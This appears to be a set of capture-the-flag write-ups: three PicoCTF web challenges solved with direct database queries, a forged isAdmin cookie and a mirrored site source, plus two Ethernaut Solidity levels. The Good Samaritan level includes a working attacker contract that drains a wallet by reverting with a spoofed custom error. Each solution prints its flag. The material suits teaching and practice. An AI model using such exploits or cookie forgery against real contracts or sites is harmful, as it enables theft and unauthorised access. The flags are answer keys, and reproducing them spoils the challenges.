PicoCTF - SQL Direct

Challenge

Tags

PicoCTF 2022 / Web Exploitation / sql

Description

Connect to this PostgreSQL server and find the flag!

Writeup

  1. Launch instance.
  2. Open Websell and Log in .
  3. Connect to sql by command psql -h saturn.picoctf.net -p 61408 -U postgres pico and input the password.
  4. Use \dt command to show all table, there is only one table, which is named flags.
  5. Use SELECT * FROM flags; command to check the content of table.
  6. Here’s flag: picoCTF{L3arN_S0m3_5qL_t0d4Y_31fd14c0} ٩(^ᴗ^)۶

PicoCTF - Power Cookie

Challenge

Tags

PicoCTF 2022 / Web Exploitation

Description

Can you get the flag?
Go to this website and see what you can discover.

Writeup

  1. Click Continue as guest button, there is a page tell you they don’t have guest service.
  2. Change isAdmin cookie value to 1.
  3. Refresh the page.
  4. Here’s flag: picoCTF{gr4d3_A_c00k13_5d2505be} ٩(^ᴗ^)۶

PicoCTF - Search source

Challenge

Tags

PicoCTF 2022 / Web Exploitation

Description

The developer of this website mistakenly left an important artifact in the website source, can you find it?
The website is here

Writeup

  1. wget -m http://saturn.picoctf.net:58133/ to get source code.
  2. grep -r 'picoCTF' saturn.picoctf.net:58133 to search the flag!
  3. Here’s flag: picoCTF{1nsp3ti0n_0f_w3bpag3s_587d12b8} ٩(^ᴗ^)۶

Ethernaut - 18. Magic Number

Difficulty: 🌕🌕🌕🌑🌑

To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right number.
Easy right? Well… there’s a catch.
The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.
Good luck!

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

Writeup

  1. Get new instance.
  2. Create a new contract
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     contract MagicNumberCracker{
         constructor() public{
             assembly{
                 mstore(0x00, 0x602a60005260206000f3)
                 return(0x16, 0x0a)
             }
         }
     }
    

    How 0x602a60005260206000f3 come from ?

    1. PUSH(0x2a) –> 0x602a (Push 42 onto the stack)
    2. PUSH(0x00) –> 0x6000 (Push memory slot 00 to stack)
    3. MSTORE –> 0x52 (Store 42 to memory slot 00)
    4. PUSH(0x20) –> 0x6020 (Memory slot size is 32 bytes)
    5. PUSH(0x80) –> 0x6000 (Value is stored at moemory slot 00)
    6. RETURN –> 0xf3 (Return value which is stored at memory 00 with sizeof 32 bytes)
  3. Compile and Deploy.
  4. Set Solver :
    
     await contract.setSolver('MAGICNUMBERCRACKER_CONTRACT_ADDRESS')
    
    
  5. Submit instance ξ( ✿>◡❛)

Reference

Ethernaut - 27. Good Samaritan

Difficulty: 🌕🌕🌕🌑🌑

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.
Would you be able to drain all the balance from his Wallet?
Things that might help:

Contract

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

Writeup

The requestDonation() in the GoodSamaritan contract will call wallet.donate10(msg.sender) if there are enough coins(>10) in the wallet. If coins in the wallet less then 10, it will revert NotEnoughBalance error and transfer all remaining coins in the wallet.

  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity >=0.8.0 <0.9.0;
    
     interface GoodSamaritan {
         function requestDonation() external returns(bool enoughBalance);
     }
    
     contract GoodSamaritanAttacker {
    
         error NotEnoughBalance();
    
         function attack(address _goodsamaritan) public {
             GoodSamaritan(_goodsamaritan).requestDonation(); 
         }
    
         function notify(uint256 _amount) public pure {
             if(_amount==10){
                 revert NotEnoughBalance();
             }
         }
     }
    
  3. Get GoodSamaritan contract address by typing instance in the chrome console. For example:
    
     instance
     // '0xa273e96Ae56e2cAb404a3221d5356Af4cdd67440'
    
    
  4. Call the attack method in GoodSamaritanAttacker contract with the contract address we get above as a parameter.
  5. Submit instance ξ( ✿>◡❛)